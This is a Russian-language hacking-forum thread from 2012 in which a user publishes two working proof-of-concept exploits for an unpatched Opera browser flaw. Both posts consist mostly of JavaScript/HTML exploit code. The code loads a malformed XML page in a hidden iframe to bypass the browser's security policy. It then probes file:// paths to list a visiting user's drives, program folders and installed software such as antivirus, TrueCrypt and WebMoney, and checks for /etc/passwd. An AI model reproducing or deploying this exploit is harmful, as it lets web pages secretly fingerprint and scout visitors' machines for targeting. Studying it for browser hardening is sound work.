Доступ к локальным файлам из сети. Часть вторая (Opera, 0day)

Discussion in 'Уязвимости' started by M_script, 17 Oct 2012.

  1. M_script

    M_script Members of Antichat

    Joined:
    4 Nov 2004
    Messages:
    2,581
    Likes Received:
    1,317
    Reputations:
    1,557
    [​IMG] follow


    Уязвимость аналогична той, которую я нашел в прошлом году - http://forum.antichat.net/thread307415.html
    Загружаем во фрейм xml-документ с ошибкой синтаксиса, получаем вывод сообщения об ошибке.
    При выводе ошибки opera подгружает локальный css-файл, при этом отключая политику безопасности. После замены содержимого фрейма, xml-документ обрабатывается как html.
    Для проверки статуса загрузки файла на этот раз использую свойство complete обекта image.

    PoC (Windows, Linux; Opera < 12.10)
    http://mscript.biz/opera_localfiles.html

    Исходник
    PHP:
    <html>
    <
    body>
    <
    iframe style="width:0px;height:0px;visibility:hidden" src="data:text/xml,"></iframe>
    <
    script>
    var 
    ifr frames[0].document.documentElement;
    var 
    diskArr 'CDEFGHIJKLMNOPQRSTUVWXYZ';
    var 
    diskDiv document.createElement('div');
    diskDiv.innerHTML '<b>disks:</b><br>';
    document.body.appendChild(diskDiv);

    var 
    dirArr = new Array(
    'program files',
    'program files (x86)'
    );
    var 
    dirDiv document.createElement('div');
    dirDiv.innerHTML '<br><b>program folders:</b><br>';
    document.body.appendChild(dirDiv);

    var 
    progArr = new Array(
    'adobe',
    'akelpad',
    'alcohol soft',
    'avira',
    'charles',
    'daemon tools lite',
    'drweb',
    'eset',
    'filezilla ftp client',
    'filezilla ftp server',
    'icq7.1',
    'icq7.2',
    'icq7.3',
    'icq7.4',
    'icq7.5',
    'icq7.6',
    'icq7.7',
    'kaspersky lab',
    'mcafee',
    'microsoft office',
    'microsoft visual studio',
    'microsoft.net',
    'mozilla firefox',
    'nmap',
    'nvidia corporation',
    'notepad++',
    'psi+',
    'paragon software',
    'qip',
    'qip2010',
    'qip2011',
    'skype',
    'teamviewer',
    'total commander',
    'truecrypt',
    'utorrent',
    'webmoney',
    'winpcap',
    'winrar',
    'wireshark'
    );
    var 
    progDiv document.createElement('div');
    progDiv.innerHTML '<br><b>programs:</b><br>';
    document.body.appendChild(progDiv);

    function 
    add(nametypeimg)
    {
        if(
    img.complete)
        {
            switch(
    type)
            {
                case 
    0:
                    
    diskDiv.innerHTML += name '<br>';
                    
    checkDir(name);
                    break
                
                case 
    1:
                    
    dirDiv.innerHTML += name '<br>';
                    
    checkProg(name);
                    break;
                
                case 
    2:
                    
    progDiv.innerHTML += name '<br>';
                    break;
                    
                case 
    3:
                    
    progDiv.innerHTML += name '<br>';
            }
        }
        else if(
    type == 3)
        {
            
    checkDisk();
        }
    }

    function 
    checkProg(dir)
    {
        for(var 
    j in progArr)
            
    ifr.innerHTML "<img src='file://" dir '/' progArr[j] + "' onerror='top.add(\"" dir '/' progArr[j] + "\", 2, this)'>";
    }

    function 
    checkDir(disk)
    {
        for(var 
    j in dirArr)
            
    ifr.innerHTML "<img src='file://" disk '/' dirArr[j] + "' onerror='top.add(\"" disk '/' dirArr[j] + "\", 1, this)'>";
    }

    function 
    checkDisk()
    {
        for(var 
    i in diskArr)
            
    ifr.innerHTML "<img src='file://" diskArr[i] + ":' onerror='top.add(\"" diskArr[i] + ":\", 0, this)'>";
    }

    (function()
    {
        
    ifr.innerHTML "<img src='file://localhost/etc/passwd' onerror='top.add(\"/etc/passwd\", 3, this)'>";
    })()

    </script>
    </body>
    </html>

    тема на rdot.org
     
    #1 M_script, 17 Oct 2012
    Last edited: 7 Feb 2013
    1 person likes this.
  2. M_script

    M_script Members of Antichat

    Joined:
    4 Nov 2004
    Messages:
    2,581
    Likes Received:
    1,317
    Reputations:
    1,557
    6 ноября вышла новая версия браузера Opera - 12.10, ошибка не исправлена.
    Кое-какие изменения все же есть, поэтому предыдущий пример уже не работает. Теперь свойство complete обекта image зависит от типа файла, поэтому подходит только для проверки изображений.

    PoC (Windows; Opera 12.10)
    http://mscript.biz/opera_localfiles2.html
    PHP:
    <html>
    <
    body>
    <
    iframe style="width:0px;height:0px;visibility:hidden" src="data:text/xml,"></iframe>
    <
    script>

    var 
    ifr frames[0].document.documentElement;

    var 
    diskArr 'CDEFGHIJKLMNOPQRSTUVWXYZ';
    var 
    diskDiv document.createElement('div');
    diskDiv.innerHTML '<b>disks:</b><br>';
    document.body.appendChild(diskDiv);

        
    var 
    dirArr = new Array(
    'program files',
    'program files (x86)'
    );
    var 
    dirDiv document.createElement('div');
    dirDiv.innerHTML '<br><b>program folders:</b><br>';
    document.body.appendChild(dirDiv);

    var 
    progArr = new Array(
    'adobe',
    'akelpad',
    'alcohol soft',
    'avira',
    'charles',
    'daemon tools lite',
    'drweb',
    'eset',
    'filezilla ftp client',
    'filezilla ftp server',
    'icq7.1',
    'icq7.2',
    'icq7.3',
    'icq7.4',
    'icq7.5',
    'icq7.6',
    'icq7.7',
    'kaspersky lab',
    'mcafee',
    'microsoft office',
    'microsoft visual studio',
    'microsoft.net',
    'mozilla firefox',
    'nmap',
    'nvidia corporation',
    'notepad++',
    'psi+',
    'paragon software',
    'qip',
    'qip2010',
    'qip2011',
    'skype',
    'teamviewer',
    'total commander',
    'truecrypt',
    'utorrent',
    'webmoney',
    'winpcap',
    'winrar',
    'wireshark'
    );
    var 
    progDiv document.createElement('div');
    progDiv.innerHTML '<br><b>programs:</b><br>';
    document.body.appendChild(progDiv);

    function 
    add(nametypescr)
    {
        
    ifr.all[0].removeChild(scr);

        switch(
    type)
        {
            case 
    0:
                
    diskDiv.innerHTML += name '<br>';
                
    checkDir(name);
                break
            
            case 
    1:
                
    dirDiv.innerHTML += name '<br>';
                
    checkProg(name);
                break;
            
            case 
    2:
                
    progDiv.innerHTML += name '<br>';
                break;
        }
    }

    function 
    checkProg(dir)
    {
        for(var 
    i in progArr)
        {
            var 
    scr document.createElement('script');
            
    scr.onload = new Function('top.add("' dir '/' progArr[i] + '", 2, this)');
            
    scr.src 'file://' dir '/' progArr[i];
            
    ifr.all[0].appendChild(scr);
        }
    }

    function 
    checkDir(disk)
    {
        for(var 
    i in dirArr)
        {
            var 
    scr document.createElement('script');
            
    scr.onload = new Function('top.add("' disk '/' dirArr[i] + '", 1,this)');
            
    scr.src 'file://' disk '/' dirArr[i];
            
    ifr.all[0].appendChild(scr);
        }
    }

    (function 
    checkDisk()
    {
        for(var 
    i in diskArr)
        {
            var 
    scr document.createElement('script');
            
    scr.onload = new Function('top.add("' diskArr[i] + ':", 0, this)');
            
    scr.src 'file://' diskArr[i] + ':';
            
    ifr.all[0].appendChild(scr);
        }
    })()


    </script>
    </body>
    </html>
     
    2 people like this.